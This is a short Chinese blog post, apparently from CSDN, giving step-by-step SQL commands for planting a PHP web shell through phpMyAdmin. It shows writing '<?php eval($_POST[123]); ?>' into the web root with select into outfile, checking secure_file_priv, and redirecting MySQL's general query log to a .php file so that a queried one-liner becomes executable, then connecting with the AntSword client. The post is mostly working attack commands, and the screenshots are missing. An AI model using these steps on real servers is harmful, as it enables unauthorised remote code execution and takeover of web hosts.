phpMyadmin写shell

最新推荐文章于 2024-07-19 17:23:55 发布

巅峰且豪杰

最新推荐文章于 2024-07-19 17:23:55 发布

阅读量906

点赞数

文章标签： phpmyadmin 安全漏洞

本文链接：https://blog.csdn.net/wangyanjienice/article/details/115498019

版权

本文详细介绍了如何通过SQL的select into outfile功能，绕过权限限制，在日志文件中执行PHP代码，进而进行shell植入。步骤包括检查目录权限、开启日志、执行phpinfo验证解析、执行恶意代码，并提供安全风险提示。

摘要由CSDN通过智能技术生成

select into outfile

使用方法

select load_file('C:/phpStudy/WWW/shell.php')
select '<?php eval($_POST[123]); ?>' into outfile 'C:/phpStudy/WWW/shell.php';

1.查看绝对目录

select @@basedir;

查询结果
2.查看写入权限

SHOW VARIABLES LIKE "secure_file_priv";

在这里插入图片描述
NULL表示禁止，无法写入

1.搜索日志文件

SHOW VARIABLES LIKE 'general%'

在这里插入图片描述
OFF 表示日志关闭
C:\phpStudy\MySQL\data\stu1.log 为日志绝对路径

2.执行语句

set global general_log = "ON";
set global general_log_file='C:/phpStudy/WWW/shell.php';

在这里插入图片描述

表示执行成功

3.写入phpinfo查看是否解析

select '<?php phpinfo();?>';

在这里插入图片描述
正常解析

4.写入简单一句话,使用蚁剑连接即可

select '<?php  eval($_POST[123]);?>';

在这里插入图片描述

关注